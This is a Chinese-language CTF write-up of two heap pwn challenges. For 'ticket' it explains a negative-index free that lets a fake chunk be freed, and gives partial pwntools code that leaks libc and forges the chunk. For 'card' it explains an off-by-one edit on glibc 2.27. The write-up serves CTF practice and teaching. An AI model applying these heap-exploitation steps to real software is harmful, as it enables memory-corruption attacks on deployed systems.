两道题都比较中规中矩,第二个比第一个还简单,第一个比赛一开始想歪了,做了很jb久,第二个十几分钟就出了
ticket
一个比较典型的堆菜单题目
分析
逆向的话倒是不难,直接看漏洞,首先是free中,一眼看过去发现这不就是uaf么,free的是指针,本应该清空指针和size,却只清空了size
但是后期调试的时候发现并不是这样的,因为所有的edit和show功能都是根据size来判断的,也就是相当于清空了指针,这个地方并不存在uaf
然后又仔细一看,发现真正的漏洞其实在这。
free的时候没有判断index小于0的情况,也就是说我们可以以bss中的存放堆指针的位置为坐标原点,向之前的地址进行free,突然联想到了之前让输入姓名,可能就是给我们伪造堆地址创造了条件,我们进入gdb来查看他们是如何分布的。
发现这不就在堆指针的上方么,所以很自然的思路就出来了,就是向前free,用之前能够输入的age当做堆指针,指向一个伪造的chunk,这个伪造的chunk可以由我们来构造堆块的size来决定。
如下部分exp# 首先是先泄露出来libc地址,这个简单,free unsorted bin后再取回来就可以了
fillInfo("aaaa", "bbbb", 0x20)
add(2, 0xd0)
add(3, 0x21)
free(2)
add(0, 0x60)
show(0)
__malloc_hook = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 296 - 0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
success("LIBC BASE ===> " + hex(libc_base))
free(0)
然后是本题的精华add(1, 0x21)
add(5, 0x21)
edit_info("aaaa", "bbbb", 0x6020e0)
# free(-3)
效果是这样的
然后free(-3),那个伪造的chunk就进入到bin里了
然后申请回来,改size为0的话可以获得真正uaf的能力,后面就简单了
exp
from pwn import * |
card
分析
漏洞点在于这个地方,edit的时候直接用size就好了,这里偏偏加了一个v1,明显是有漏洞,然后我们进入overflow函数看看
进行了一些列蜜汁操作,看不懂问题不大,反正就是这么个逻辑,这个函数的返回值加上size作为edit的size,那么只要这个函数的返回值是1,那么就相当于溢出了一个字节呗
写个脚本来看看,直接用那个overflow的逻辑,稍微改改就行了,如果返回值不是0,那么就输出,看看哪些size是可用的size = []
for i in range(257):
if ((((((i >> 31) >> 28) + i) & 0xF) - ((i >> 31) >> 28)) >> 3):
size.append(hex(i))
print(len(size))
print(size)
那就直接用0x?8的地址就可以了
所以这道题就转变为了libc-2.27下的off-by-one
(libc版本为GLIBC 2.27-3ubuntu1,尚无key机制,不过这道题好像也无需关心这一点)
exp
from pwn import * |